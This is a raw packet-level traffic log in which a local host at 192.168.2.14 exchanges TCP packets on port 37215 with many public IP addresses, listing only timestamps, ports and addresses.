Sep 25, 2024 14:14:23.739043951 CEST	37215	48676	156.223.233.239	192.168.2.14
Sep 25, 2024 14:14:23.739049911 CEST	52376	37215	192.168.2.14	156.129.236.212
Sep 25, 2024 14:14:23.739058018 CEST	42718	37215	192.168.2.14	41.248.146.253
Sep 25, 2024 14:14:23.739072084 CEST	37215	38716	197.76.158.67	192.168.2.14
Sep 25, 2024 14:14:23.739073992 CEST	57050	37215	192.168.2.14	41.164.189.192
Sep 25, 2024 14:14:23.739083052 CEST	37215	50910	41.37.99.107	192.168.2.14
Sep 25, 2024 14:14:23.739083052 CEST	36754	37215	192.168.2.14	41.30.124.221
Sep 25, 2024 14:14:23.739093065 CEST	48676	37215	192.168.2.14	156.223.233.239
Sep 25, 2024 14:14:23.739093065 CEST	37215	34058	41.91.77.103	192.168.2.14
Sep 25, 2024 14:14:23.739104986 CEST	37215	53512	41.241.4.209	192.168.2.14
Sep 25, 2024 14:14:23.739109993 CEST	50910	37215	192.168.2.14	41.37.99.107
Sep 25, 2024 14:14:23.739114046 CEST	38716	37215	192.168.2.14	197.76.158.67
Sep 25, 2024 14:14:23.739125967 CEST	37215	37310	197.11.43.164	192.168.2.14
Sep 25, 2024 14:14:23.739135027 CEST	53512	37215	192.168.2.14	41.241.4.209
Sep 25, 2024 14:14:23.739135981 CEST	37215	49656	156.120.144.233	192.168.2.14
Sep 25, 2024 14:14:23.739136934 CEST	34058	37215	192.168.2.14	41.91.77.103
Sep 25, 2024 14:14:23.739147902 CEST	37215	49252	197.179.163.209	192.168.2.14
Sep 25, 2024 14:14:23.739161015 CEST	37215	54092	197.139.168.250	192.168.2.14
Sep 25, 2024 14:14:23.739171982 CEST	49656	37215	192.168.2.14	156.120.144.233
Sep 25, 2024 14:14:23.739178896 CEST	49252	37215	192.168.2.14	197.179.163.209
Sep 25, 2024 14:14:23.739192963 CEST	37310	37215	192.168.2.14	197.11.43.164
Sep 25, 2024 14:14:23.739198923 CEST	54092	37215	192.168.2.14	197.139.168.250
Sep 25, 2024 14:14:23.739490032 CEST	39714	37215	192.168.2.14	156.144.65.65
Sep 25, 2024 14:14:23.740753889 CEST	43292	37215	192.168.2.14	41.114.111.77
Sep 25, 2024 14:14:23.741703987 CEST	35946	37215	192.168.2.14	41.236.13.158
Sep 25, 2024 14:14:23.743410110 CEST	37096	37215	192.168.2.14	156.11.173.165
Sep 25, 2024 14:14:23.744368076 CEST	37215	39714	156.144.65.65	192.168.2.14
Sep 25, 2024 14:14:23.744412899 CEST	39714	37215	192.168.2.14	156.144.65.65
Sep 25, 2024 14:14:23.744452953 CEST	37215	57050	41.164.189.192	192.168.2.14
Sep 25, 2024 14:14:23.744510889 CEST	37215	36754	41.30.124.221	192.168.2.14
Sep 25, 2024 14:14:23.744514942 CEST	57050	37215	192.168.2.14	41.164.189.192
Sep 25, 2024 14:14:23.744551897 CEST	36754	37215	192.168.2.14	41.30.124.221
Sep 25, 2024 14:14:23.744579077 CEST	45976	37215	192.168.2.14	41.80.213.82
Sep 25, 2024 14:14:23.744807005 CEST	37215	42772	156.54.30.158	192.168.2.14
Sep 25, 2024 14:14:23.744889021 CEST	42772	37215	192.168.2.14	156.54.30.158
Sep 25, 2024 14:14:23.745043039 CEST	37215	56178	197.31.136.188	192.168.2.14
Sep 25, 2024 14:14:23.745115042 CEST	56178	37215	192.168.2.14	197.31.136.188
Sep 25, 2024 14:14:23.745325089 CEST	37215	53772	41.166.234.180	192.168.2.14
Sep 25, 2024 14:14:23.745387077 CEST	53772	37215	192.168.2.14	41.166.234.180
Sep 25, 2024 14:14:23.745697975 CEST	37215	42718	41.248.146.253	192.168.2.14
Sep 25, 2024 14:14:23.745750904 CEST	42718	37215	192.168.2.14	41.248.146.253
Sep 25, 2024 14:14:23.745786905 CEST	37215	43292	41.114.111.77	192.168.2.14
Sep 25, 2024 14:14:23.745798111 CEST	37215	52376	156.129.236.212	192.168.2.14
Sep 25, 2024 14:14:23.745831013 CEST	37215	50510	41.85.21.208	192.168.2.14
Sep 25, 2024 14:14:23.745851040 CEST	43292	37215	192.168.2.14	41.114.111.77
Sep 25, 2024 14:14:23.745991945 CEST	49410	37215	192.168.2.14	197.23.19.49
Sep 25, 2024 14:14:23.746040106 CEST	37215	52376	156.129.236.212	192.168.2.14
Sep 25, 2024 14:14:23.746093035 CEST	52376	37215	192.168.2.14	156.129.236.212
Sep 25, 2024 14:14:23.746263981 CEST	37215	50510	41.85.21.208	192.168.2.14
Sep 25, 2024 14:14:23.746304035 CEST	50510	37215	192.168.2.14	41.85.21.208
Sep 25, 2024 14:14:23.746587038 CEST	37215	35946	41.236.13.158	192.168.2.14
Sep 25, 2024 14:14:23.746625900 CEST	35946	37215	192.168.2.14	41.236.13.158
Sep 25, 2024 14:14:23.747934103 CEST	32818	37215	192.168.2.14	156.176.40.23
Sep 25, 2024 14:14:23.748301029 CEST	37215	37096	156.11.173.165	192.168.2.14
Sep 25, 2024 14:14:23.748375893 CEST	37096	37215	192.168.2.14	156.11.173.165
Sep 25, 2024 14:14:23.749322891 CEST	37215	45976	41.80.213.82	192.168.2.14
Sep 25, 2024 14:14:23.749372005 CEST	45976	37215	192.168.2.14	41.80.213.82
Sep 25, 2024 14:14:23.749794006 CEST	50460	37215	192.168.2.14	156.84.236.81
Sep 25, 2024 14:14:23.750894070 CEST	37215	49410	197.23.19.49	192.168.2.14
Sep 25, 2024 14:14:23.750957012 CEST	49410	37215	192.168.2.14	197.23.19.49
Sep 25, 2024 14:14:23.752141953 CEST	54092	37215	192.168.2.14	197.139.168.250
Sep 25, 2024 14:14:23.752162933 CEST	49252	37215	192.168.2.14	197.179.163.209
Sep 25, 2024 14:14:23.752186060 CEST	53512	37215	192.168.2.14	41.241.4.209
Sep 25, 2024 14:14:23.752196074 CEST	38716	37215	192.168.2.14	197.76.158.67
Sep 25, 2024 14:14:23.752201080 CEST	49656	37215	192.168.2.14	156.120.144.233
Sep 25, 2024 14:14:23.752214909 CEST	50910	37215	192.168.2.14	41.37.99.107
Sep 25, 2024 14:14:23.752233028 CEST	48676	37215	192.168.2.14	156.223.233.239
Sep 25, 2024 14:14:23.752237082 CEST	37310	37215	192.168.2.14	197.11.43.164
Sep 25, 2024 14:14:23.752237082 CEST	34058	37215	192.168.2.14	41.91.77.103
Sep 25, 2024 14:14:23.752911091 CEST	37215	32818	156.176.40.23	192.168.2.14
Sep 25, 2024 14:14:23.752971888 CEST	32818	37215	192.168.2.14	156.176.40.23
Sep 25, 2024 14:14:23.753443956 CEST	38192	37215	192.168.2.14	156.60.17.130
Sep 25, 2024 14:14:23.754627943 CEST	37215	50460	156.84.236.81	192.168.2.14
Sep 25, 2024 14:14:23.754664898 CEST	50460	37215	192.168.2.14	156.84.236.81
Sep 25, 2024 14:14:23.756669044 CEST	41166	37215	192.168.2.14	41.66.16.76
Sep 25, 2024 14:14:23.757086039 CEST	37215	54092	197.139.168.250	192.168.2.14
Sep 25, 2024 14:14:23.757134914 CEST	54092	37215	192.168.2.14	197.139.168.250
Sep 25, 2024 14:14:23.757862091 CEST	37215	49252	197.179.163.209	192.168.2.14
Sep 25, 2024 14:14:23.757905006 CEST	49252	37215	192.168.2.14	197.179.163.209
Sep 25, 2024 14:14:23.757909060 CEST	37215	53512	41.241.4.209	192.168.2.14
Sep 25, 2024 14:14:23.757920027 CEST	37215	49656	156.120.144.233	192.168.2.14
Sep 25, 2024 14:14:23.757932901 CEST	37215	38716	197.76.158.67	192.168.2.14
Sep 25, 2024 14:14:23.757946968 CEST	37215	50910	41.37.99.107	192.168.2.14
Sep 25, 2024 14:14:23.757947922 CEST	53512	37215	192.168.2.14	41.241.4.209
Sep 25, 2024 14:14:23.757957935 CEST	49656	37215	192.168.2.14	156.120.144.233
Sep 25, 2024 14:14:23.757957935 CEST	37215	48676	156.223.233.239	192.168.2.14
Sep 25, 2024 14:14:23.757972002 CEST	38716	37215	192.168.2.14	197.76.158.67
Sep 25, 2024 14:14:23.757987976 CEST	50910	37215	192.168.2.14	41.37.99.107
Sep 25, 2024 14:14:23.757996082 CEST	48676	37215	192.168.2.14	156.223.233.239
Sep 25, 2024 14:14:23.758810043 CEST	37215	38192	156.60.17.130	192.168.2.14
Sep 25, 2024 14:14:23.758843899 CEST	38192	37215	192.168.2.14	156.60.17.130
Sep 25, 2024 14:14:23.758946896 CEST	37215	37310	197.11.43.164	192.168.2.14
Sep 25, 2024 14:14:23.758980989 CEST	37310	37215	192.168.2.14	197.11.43.164
Sep 25, 2024 14:14:23.759303093 CEST	37215	34058	41.91.77.103	192.168.2.14
Sep 25, 2024 14:14:23.759368896 CEST	34058	37215	192.168.2.14	41.91.77.103
Sep 25, 2024 14:14:23.767281055 CEST	44522	37215	192.168.2.14	197.117.76.193
Sep 25, 2024 14:14:23.772294044 CEST	37215	44522	197.117.76.193	192.168.2.14
Sep 25, 2024 14:14:23.772349119 CEST	44522	37215	192.168.2.14	197.117.76.193
Sep 25, 2024 14:14:23.774090052 CEST	38926	37215	192.168.2.14	41.65.43.211
Sep 25, 2024 14:14:23.775444984 CEST	34208	37215	192.168.2.14	197.18.20.241
Sep 25, 2024 14:14:23.778983116 CEST	37215	38926	41.65.43.211	192.168.2.14
Sep 25, 2024 14:14:23.779084921 CEST	38926	37215	192.168.2.14	41.65.43.211
Sep 25, 2024 14:14:23.788803101 CEST	58234	37215	192.168.2.14	41.118.254.51
Sep 25, 2024 14:14:23.791017056 CEST	42246	37215	192.168.2.14	156.12.35.216
Sep 25, 2024 14:14:23.793207884 CEST	52032	37215	192.168.2.14	197.71.196.14
Sep 25, 2024 14:14:23.793621063 CEST	37215	58234	41.118.254.51	192.168.2.14
Sep 25, 2024 14:14:23.793663025 CEST	58234	37215	192.168.2.14	41.118.254.51
Sep 25, 2024 14:14:23.795069933 CEST	58010	37215	192.168.2.14	156.188.5.100
Sep 25, 2024 14:14:23.798187017 CEST	37215	52032	197.71.196.14	192.168.2.14
Sep 25, 2024 14:14:23.798248053 CEST	52032	37215	192.168.2.14	197.71.196.14
Sep 25, 2024 14:14:23.799690008 CEST	39714	37215	192.168.2.14	156.144.65.65
Sep 25, 2024 14:14:23.799725056 CEST	39714	37215	192.168.2.14	156.144.65.65
Sep 25, 2024 14:14:23.800905943 CEST	39748	37215	192.168.2.14	156.144.65.65
Sep 25, 2024 14:14:23.804563046 CEST	37215	39714	156.144.65.65	192.168.2.14
Sep 25, 2024 14:14:23.816909075 CEST	43292	37215	192.168.2.14	41.114.111.77
Sep 25, 2024 14:14:23.816948891 CEST	43292	37215	192.168.2.14	41.114.111.77
Sep 25, 2024 14:14:23.818542957 CEST	43326	37215	192.168.2.14	41.114.111.77
Sep 25, 2024 14:14:23.820313931 CEST	35946	37215	192.168.2.14	41.236.13.158
Sep 25, 2024 14:14:23.820343018 CEST	35946	37215	192.168.2.14	41.236.13.158
Sep 25, 2024 14:14:23.821929932 CEST	37215	43292	41.114.111.77	192.168.2.14
Sep 25, 2024 14:14:23.823429108 CEST	37215	43326	41.114.111.77	192.168.2.14
Sep 25, 2024 14:14:23.823493004 CEST	43326	37215	192.168.2.14	41.114.111.77
Sep 25, 2024 14:14:23.824342966 CEST	35980	37215	192.168.2.14	41.236.13.158
Sep 25, 2024 14:14:23.825138092 CEST	37096	37215	192.168.2.14	156.11.173.165
Sep 25, 2024 14:14:23.825223923 CEST	37096	37215	192.168.2.14	156.11.173.165
Sep 25, 2024 14:14:23.826793909 CEST	37130	37215	192.168.2.14	156.11.173.165
Sep 25, 2024 14:14:23.827332020 CEST	37215	35946	41.236.13.158	192.168.2.14
Sep 25, 2024 14:14:23.827493906 CEST	45976	37215	192.168.2.14	41.80.213.82
Sep 25, 2024 14:14:23.827493906 CEST	45976	37215	192.168.2.14	41.80.213.82
Sep 25, 2024 14:14:23.828247070 CEST	46010	37215	192.168.2.14	41.80.213.82
Sep 25, 2024 14:14:23.829291105 CEST	37215	35980	41.236.13.158	192.168.2.14
Sep 25, 2024 14:14:23.829343081 CEST	35980	37215	192.168.2.14	41.236.13.158
Sep 25, 2024 14:14:23.829956055 CEST	37215	37096	156.11.173.165	192.168.2.14
Sep 25, 2024 14:14:23.830029011 CEST	49410	37215	192.168.2.14	197.23.19.49
Sep 25, 2024 14:14:23.830029011 CEST	49410	37215	192.168.2.14	197.23.19.49
Sep 25, 2024 14:14:23.831624031 CEST	37215	37130	156.11.173.165	192.168.2.14
Sep 25, 2024 14:14:23.831672907 CEST	37130	37215	192.168.2.14	156.11.173.165
Sep 25, 2024 14:14:23.832012892 CEST	49444	37215	192.168.2.14	197.23.19.49
Sep 25, 2024 14:14:23.832330942 CEST	37215	45976	41.80.213.82	192.168.2.14
Sep 25, 2024 14:14:23.836730957 CEST	37215	49410	197.23.19.49	192.168.2.14
Sep 25, 2024 14:14:23.837654114 CEST	37215	49444	197.23.19.49	192.168.2.14
Sep 25, 2024 14:14:23.837696075 CEST	49444	37215	192.168.2.14	197.23.19.49
Sep 25, 2024 14:14:23.844120979 CEST	38192	37215	192.168.2.14	156.60.17.130
Sep 25, 2024 14:14:23.844120979 CEST	38192	37215	192.168.2.14	156.60.17.130
Sep 25, 2024 14:14:23.845050097 CEST	38222	37215	192.168.2.14	156.60.17.130
Sep 25, 2024 14:14:23.846308947 CEST	37215	39714	156.144.65.65	192.168.2.14
Sep 25, 2024 14:14:23.846389055 CEST	44522	37215	192.168.2.14	197.117.76.193
Sep 25, 2024 14:14:23.846389055 CEST	44522	37215	192.168.2.14	197.117.76.193
Sep 25, 2024 14:14:23.849375010 CEST	37215	38192	156.60.17.130	192.168.2.14
Sep 25, 2024 14:14:23.850291014 CEST	37215	38222	156.60.17.130	192.168.2.14
Sep 25, 2024 14:14:23.850338936 CEST	38222	37215	192.168.2.14	156.60.17.130
Sep 25, 2024 14:14:23.851824999 CEST	37215	44522	197.117.76.193	192.168.2.14
Sep 25, 2024 14:14:23.864283085 CEST	44550	37215	192.168.2.14	197.117.76.193
Sep 25, 2024 14:14:23.866447926 CEST	37215	35946	41.236.13.158	192.168.2.14
Sep 25, 2024 14:14:23.866466045 CEST	37215	43292	41.114.111.77	192.168.2.14
Sep 25, 2024 14:14:23.869131088 CEST	37215	44550	197.117.76.193	192.168.2.14
Sep 25, 2024 14:14:23.869215012 CEST	44550	37215	192.168.2.14	197.117.76.193
Sep 25, 2024 14:14:23.873778105 CEST	37215	45976	41.80.213.82	192.168.2.14
Sep 25, 2024 14:14:23.873846054 CEST	37215	37096	156.11.173.165	192.168.2.14
Sep 25, 2024 14:14:23.882433891 CEST	37215	49410	197.23.19.49	192.168.2.14
Sep 25, 2024 14:14:23.890300035 CEST	37215	38192	156.60.17.130	192.168.2.14
Sep 25, 2024 14:14:23.892496109 CEST	38926	37215	192.168.2.14	41.65.43.211
Sep 25, 2024 14:14:23.892496109 CEST	38926	37215	192.168.2.14	41.65.43.211
Sep 25, 2024 14:14:23.893050909 CEST	38954	37215	192.168.2.14	41.65.43.211
Sep 25, 2024 14:14:23.896394014 CEST	58234	37215	192.168.2.14	41.118.254.51
Sep 25, 2024 14:14:23.896421909 CEST	58234	37215	192.168.2.14	41.118.254.51
Sep 25, 2024 14:14:23.897187948 CEST	58260	37215	192.168.2.14	41.118.254.51
Sep 25, 2024 14:14:23.897731066 CEST	37215	38926	41.65.43.211	192.168.2.14
Sep 25, 2024 14:14:23.898189068 CEST	37215	44522	197.117.76.193	192.168.2.14
Sep 25, 2024 14:14:23.898323059 CEST	37215	38954	41.65.43.211	192.168.2.14
Sep 25, 2024 14:14:23.898360968 CEST	38954	37215	192.168.2.14	41.65.43.211
Sep 25, 2024 14:14:23.899014950 CEST	43326	37215	192.168.2.14	41.114.111.77
Sep 25, 2024 14:14:23.899027109 CEST	35980	37215	192.168.2.14	41.236.13.158
Sep 25, 2024 14:14:23.899043083 CEST	52032	37215	192.168.2.14	197.71.196.14
Sep 25, 2024 14:14:23.899053097 CEST	52032	37215	192.168.2.14	197.71.196.14
Sep 25, 2024 14:14:23.900098085 CEST	52056	37215	192.168.2.14	197.71.196.14
Sep 25, 2024 14:14:23.901731968 CEST	37215	58234	41.118.254.51	192.168.2.14
Sep 25, 2024 14:14:23.901890039 CEST	49444	37215	192.168.2.14	197.23.19.49
Sep 25, 2024 14:14:23.901894093 CEST	37130	37215	192.168.2.14	156.11.173.165
Sep 25, 2024 14:14:23.901897907 CEST	32818	37215	192.168.2.14	156.176.40.23
Sep 25, 2024 14:14:23.901897907 CEST	32818	37215	192.168.2.14	156.176.40.23
Sep 25, 2024 14:14:23.902487993 CEST	37215	58260	41.118.254.51	192.168.2.14
Sep 25, 2024 14:14:23.902534962 CEST	58260	37215	192.168.2.14	41.118.254.51
Sep 25, 2024 14:14:23.904371023 CEST	37215	43326	41.114.111.77	192.168.2.14
Sep 25, 2024 14:14:23.904417038 CEST	43326	37215	192.168.2.14	41.114.111.77
Sep 25, 2024 14:14:23.904442072 CEST	32862	37215	192.168.2.14	156.176.40.23
Sep 25, 2024 14:14:23.904520035 CEST	37215	52032	197.71.196.14	192.168.2.14
Sep 25, 2024 14:14:23.904530048 CEST	37215	35980	41.236.13.158	192.168.2.14
Sep 25, 2024 14:14:23.904562950 CEST	35980	37215	192.168.2.14	41.236.13.158
Sep 25, 2024 14:14:23.905205965 CEST	37215	52056	197.71.196.14	192.168.2.14
Sep 25, 2024 14:14:23.905247927 CEST	52056	37215	192.168.2.14	197.71.196.14
Sep 25, 2024 14:14:23.907140017 CEST	37215	49444	197.23.19.49	192.168.2.14
Sep 25, 2024 14:14:23.907210112 CEST	49444	37215	192.168.2.14	197.23.19.49
Sep 25, 2024 14:14:23.907448053 CEST	37215	32818	156.176.40.23	192.168.2.14
Sep 25, 2024 14:14:23.907458067 CEST	37215	37130	156.11.173.165	192.168.2.14
Sep 25, 2024 14:14:23.907510042 CEST	37130	37215	192.168.2.14	156.11.173.165
Sep 25, 2024 14:14:23.907632113 CEST	50460	37215	192.168.2.14	156.84.236.81
Sep 25, 2024 14:14:23.907659054 CEST	50460	37215	192.168.2.14	156.84.236.81
Sep 25, 2024 14:14:23.909518003 CEST	37215	32862	156.176.40.23	192.168.2.14
Sep 25, 2024 14:14:23.909555912 CEST	32862	37215	192.168.2.14	156.176.40.23
Sep 25, 2024 14:14:23.909809113 CEST	50504	37215	192.168.2.14	156.84.236.81
Sep 25, 2024 14:14:23.913018942 CEST	37215	50460	156.84.236.81	192.168.2.14
Sep 25, 2024 14:14:23.914563894 CEST	37215	50504	156.84.236.81	192.168.2.14
Sep 25, 2024 14:14:23.914612055 CEST	50504	37215	192.168.2.14	156.84.236.81
Sep 25, 2024 14:14:23.922188044 CEST	54876	37215	192.168.2.14	197.186.2.97
Sep 25, 2024 14:14:23.927393913 CEST	37215	54876	197.186.2.97	192.168.2.14
Sep 25, 2024 14:14:23.927552938 CEST	54876	37215	192.168.2.14	197.186.2.97
Sep 25, 2024 14:14:23.936849117 CEST	59374	37215	192.168.2.14	197.189.126.49
Sep 25, 2024 14:14:23.939517021 CEST	34868	37215	192.168.2.14	41.7.135.121
Sep 25, 2024 14:14:23.941792011 CEST	37215	59374	197.189.126.49	192.168.2.14
Sep 25, 2024 14:14:23.941803932 CEST	37215	38926	41.65.43.211	192.168.2.14
Sep 25, 2024 14:14:23.941812992 CEST	37215	58234	41.118.254.51	192.168.2.14
Sep 25, 2024 14:14:23.941939116 CEST	59374	37215	192.168.2.14	197.189.126.49
Sep 25, 2024 14:14:23.942205906 CEST	50834	37215	192.168.2.14	197.231.214.166
Sep 25, 2024 14:14:23.943190098 CEST	38222	37215	192.168.2.14	156.60.17.130
Sep 25, 2024 14:14:23.943211079 CEST	44550	37215	192.168.2.14	197.117.76.193
Sep 25, 2024 14:14:23.943223953 CEST	38954	37215	192.168.2.14	41.65.43.211
Sep 25, 2024 14:14:23.943234921 CEST	58260	37215	192.168.2.14	41.118.254.51
Sep 25, 2024 14:14:23.943276882 CEST	52056	37215	192.168.2.14	197.71.196.14
Sep 25, 2024 14:14:23.943279982 CEST	32862	37215	192.168.2.14	156.176.40.23
Sep 25, 2024 14:14:23.943283081 CEST	50504	37215	192.168.2.14	156.84.236.81
Sep 25, 2024 14:14:23.943945885 CEST	58636	37215	192.168.2.14	156.189.199.179
Sep 25, 2024 14:14:23.945153952 CEST	37215	34868	41.7.135.121	192.168.2.14
Sep 25, 2024 14:14:23.945187092 CEST	34868	37215	192.168.2.14	41.7.135.121
Sep 25, 2024 14:14:23.945554018 CEST	48762	37215	192.168.2.14	197.10.195.1
Sep 25, 2024 14:14:23.946078062 CEST	37215	52032	197.71.196.14	192.168.2.14
Sep 25, 2024 14:14:23.947102070 CEST	41360	37215	192.168.2.14	197.145.224.15
Sep 25, 2024 14:14:23.948590040 CEST	37215	38222	156.60.17.130	192.168.2.14
Sep 25, 2024 14:14:23.948631048 CEST	38222	37215	192.168.2.14	156.60.17.130
Sep 25, 2024 14:14:23.949127913 CEST	37215	44550	197.117.76.193	192.168.2.14
Sep 25, 2024 14:14:23.949137926 CEST	37215	58636	156.189.199.179	192.168.2.14
Sep 25, 2024 14:14:23.949166059 CEST	44550	37215	192.168.2.14	197.117.76.193
Sep 25, 2024 14:14:23.949172974 CEST	58636	37215	192.168.2.14	156.189.199.179
Sep 25, 2024 14:14:23.949302912 CEST	37215	38954	41.65.43.211	192.168.2.14
Sep 25, 2024 14:14:23.949314117 CEST	37215	58260	41.118.254.51	192.168.2.14
Sep 25, 2024 14:14:23.949341059 CEST	38954	37215	192.168.2.14	41.65.43.211
Sep 25, 2024 14:14:23.949342966 CEST	58260	37215	192.168.2.14	41.118.254.51
Sep 25, 2024 14:14:23.949434042 CEST	37215	52056	197.71.196.14	192.168.2.14
Sep 25, 2024 14:14:23.949444056 CEST	37215	50504	156.84.236.81	192.168.2.14
Sep 25, 2024 14:14:23.949453115 CEST	37215	32862	156.176.40.23	192.168.2.14
Sep 25, 2024 14:14:23.949467897 CEST	52056	37215	192.168.2.14	197.71.196.14
Sep 25, 2024 14:14:23.949486971 CEST	32862	37215	192.168.2.14	156.176.40.23
Sep 25, 2024 14:14:23.949495077 CEST	50504	37215	192.168.2.14	156.84.236.81
Sep 25, 2024 14:14:23.950267076 CEST	37215	32818	156.176.40.23	192.168.2.14
Sep 25, 2024 14:14:23.956202030 CEST	45800	37215	192.168.2.14	197.219.43.34
Sep 25, 2024 14:14:23.957520962 CEST	53498	37215	192.168.2.14	41.4.56.229
Sep 25, 2024 14:14:23.958203077 CEST	37215	50460	156.84.236.81	192.168.2.14
Sep 25, 2024 14:14:23.958436012 CEST	54876	37215	192.168.2.14	197.186.2.97
Sep 25, 2024 14:14:23.958436012 CEST	54876	37215	192.168.2.14	197.186.2.97
Sep 25, 2024 14:14:23.959176064 CEST	54894	37215	192.168.2.14	197.186.2.97
Sep 25, 2024 14:14:23.959845066 CEST	59374	37215	192.168.2.14	197.189.126.49
Sep 25, 2024 14:14:23.959845066 CEST	59374	37215	192.168.2.14	197.189.126.49
Sep 25, 2024 14:14:23.960544109 CEST	59392	37215	192.168.2.14	197.189.126.49
Sep 25, 2024 14:14:23.961152077 CEST	37215	45800	197.219.43.34	192.168.2.14
Sep 25, 2024 14:14:23.961194038 CEST	45800	37215	192.168.2.14	197.219.43.34
Sep 25, 2024 14:14:23.961927891 CEST	37215	57140	197.8.86.37	192.168.2.14
Sep 25, 2024 14:14:23.961972952 CEST	57140	37215	192.168.2.14	197.8.86.37
Sep 25, 2024 14:14:23.963243008 CEST	37215	54876	197.186.2.97	192.168.2.14
Sep 25, 2024 14:14:23.966470957 CEST	37215	59374	197.189.126.49	192.168.2.14
Sep 25, 2024 14:14:23.967037916 CEST	58636	37215	192.168.2.14	156.189.199.179
Sep 25, 2024 14:14:23.967058897 CEST	58636	37215	192.168.2.14	156.189.199.179
Sep 25, 2024 14:14:23.969865084 CEST	58650	37215	192.168.2.14	156.189.199.179
Sep 25, 2024 14:14:23.972888947 CEST	37215	58636	156.189.199.179	192.168.2.14
Sep 25, 2024 14:14:23.973424911 CEST	34868	37215	192.168.2.14	41.7.135.121
Sep 25, 2024 14:14:23.973424911 CEST	34868	37215	192.168.2.14	41.7.135.121
Sep 25, 2024 14:14:23.974692106 CEST	37215	58650	156.189.199.179	192.168.2.14
Sep 25, 2024 14:14:23.974739075 CEST	58650	37215	192.168.2.14	156.189.199.179
Sep 25, 2024 14:14:23.976736069 CEST	34888	37215	192.168.2.14	41.7.135.121
Sep 25, 2024 14:14:23.980498075 CEST	37215	34868	41.7.135.121	192.168.2.14
Sep 25, 2024 14:14:23.980952024 CEST	58650	37215	192.168.2.14	156.189.199.179
Sep 25, 2024 14:14:23.980967999 CEST	45800	37215	192.168.2.14	197.219.43.34
Sep 25, 2024 14:14:23.980967999 CEST	45800	37215	192.168.2.14	197.219.43.34
Sep 25, 2024 14:14:23.983036995 CEST	45812	37215	192.168.2.14	197.219.43.34
Sep 25, 2024 14:14:23.983524084 CEST	37215	34888	41.7.135.121	192.168.2.14
Sep 25, 2024 14:14:23.983561039 CEST	34888	37215	192.168.2.14	41.7.135.121
Sep 25, 2024 14:14:23.986350060 CEST	34888	37215	192.168.2.14	41.7.135.121
Sep 25, 2024 14:14:23.987638950 CEST	37215	45800	197.219.43.34	192.168.2.14
Sep 25, 2024 14:14:23.988008022 CEST	37215	58650	156.189.199.179	192.168.2.14
Sep 25, 2024 14:14:23.988043070 CEST	58650	37215	192.168.2.14	156.189.199.179
Sep 25, 2024 14:14:23.993700027 CEST	37215	34888	41.7.135.121	192.168.2.14
Sep 25, 2024 14:14:23.993746042 CEST	34888	37215	192.168.2.14	41.7.135.121
Sep 25, 2024 14:14:24.005763054 CEST	37215	54876	197.186.2.97	192.168.2.14
Sep 25, 2024 14:14:24.013911963 CEST	37215	59374	197.189.126.49	192.168.2.14
Sep 25, 2024 14:14:24.013926983 CEST	37215	58636	156.189.199.179	192.168.2.14
Sep 25, 2024 14:14:24.026227951 CEST	37215	34868	41.7.135.121	192.168.2.14
Sep 25, 2024 14:14:24.034125090 CEST	37215	45800	197.219.43.34	192.168.2.14
Sep 25, 2024 14:14:24.469710112 CEST	39572	37215	192.168.2.14	41.201.186.158
Sep 25, 2024 14:14:24.469717979 CEST	50064	37215	192.168.2.14	156.17.146.209
Sep 25, 2024 14:14:24.469718933 CEST	52972	37215	192.168.2.14	197.27.230.23
Sep 25, 2024 14:14:24.469722033 CEST	44158	37215	192.168.2.14	156.238.211.38
Sep 25, 2024 14:14:24.469729900 CEST	44664	37215	192.168.2.14	41.113.152.50
Sep 25, 2024 14:14:24.469736099 CEST	38284	37215	192.168.2.14	41.251.54.51
Sep 25, 2024 14:14:24.469739914 CEST	34250	37215	192.168.2.14	41.185.217.106
Sep 25, 2024 14:14:24.469739914 CEST	52348	37215	192.168.2.14	197.42.40.6
Sep 25, 2024 14:14:24.469743967 CEST	46250	37215	192.168.2.14	156.107.216.86
Sep 25, 2024 14:14:24.469748974 CEST	41132	37215	192.168.2.14	197.41.219.139
Sep 25, 2024 14:14:24.469743967 CEST	54318	37215	192.168.2.14	156.9.49.199
Sep 25, 2024 14:14:24.469763041 CEST	49682	37215	192.168.2.14	41.230.144.206
Sep 25, 2024 14:14:24.469763041 CEST	56792	37215	192.168.2.14	41.108.113.130
Sep 25, 2024 14:14:24.469769955 CEST	51778	37215	192.168.2.14	156.197.93.125
Sep 25, 2024 14:14:24.469769955 CEST	33476	37215	192.168.2.14	41.164.43.67
Sep 25, 2024 14:14:24.469769955 CEST	54112	37215	192.168.2.14	156.63.146.130
Sep 25, 2024 14:14:24.469775915 CEST	50724	37215	192.168.2.14	41.10.145.181
Sep 25, 2024 14:14:24.469783068 CEST	53134	37215	192.168.2.14	156.140.88.204
Sep 25, 2024 14:14:24.469784975 CEST	52412	37215	192.168.2.14	156.51.4.31
Sep 25, 2024 14:14:24.469786882 CEST	41040	37215	192.168.2.14	41.198.29.203
Sep 25, 2024 14:14:24.469786882 CEST	50236	37215	192.168.2.14	156.1.92.175
Sep 25, 2024 14:14:24.469786882 CEST	53422	37215	192.168.2.14	197.244.192.231
Sep 25, 2024 14:14:24.469786882 CEST	35530	37215	192.168.2.14	156.158.99.136
Sep 25, 2024 14:14:24.469791889 CEST	46548	37215	192.168.2.14	41.16.107.48
Sep 25, 2024 14:14:24.469793081 CEST	52912	37215	192.168.2.14	197.219.131.173
Sep 25, 2024 14:14:24.469800949 CEST	50606	37215	192.168.2.14	197.23.115.188
Sep 25, 2024 14:14:24.469809055 CEST	40402	37215	192.168.2.14	41.240.129.181
Sep 25, 2024 14:14:24.469809055 CEST	33702	37215	192.168.2.14	41.8.124.140
Sep 25, 2024 14:14:24.469810009 CEST	51600	37215	192.168.2.14	197.157.8.210
Sep 25, 2024 14:14:24.469815016 CEST	36564	37215	192.168.2.14	197.61.96.1
Sep 25, 2024 14:14:24.474962950 CEST	37215	39572	41.201.186.158	192.168.2.14
Sep 25, 2024 14:14:24.474973917 CEST	37215	50064	156.17.146.209	192.168.2.14
Sep 25, 2024 14:14:24.474982977 CEST	37215	44158	156.238.211.38	192.168.2.14
Sep 25, 2024 14:14:24.474992037 CEST	37215	52972	197.27.230.23	192.168.2.14
Sep 25, 2024 14:14:24.475001097 CEST	37215	44664	41.113.152.50	192.168.2.14
Sep 25, 2024 14:14:24.475011110 CEST	37215	34250	41.185.217.106	192.168.2.14
Sep 25, 2024 14:14:24.475019932 CEST	37215	52348	197.42.40.6	192.168.2.14
Sep 25, 2024 14:14:24.475020885 CEST	50064	37215	192.168.2.14	156.17.146.209
Sep 25, 2024 14:14:24.475022078 CEST	39572	37215	192.168.2.14	41.201.186.158
Sep 25, 2024 14:14:24.475029945 CEST	44158	37215	192.168.2.14	156.238.211.38
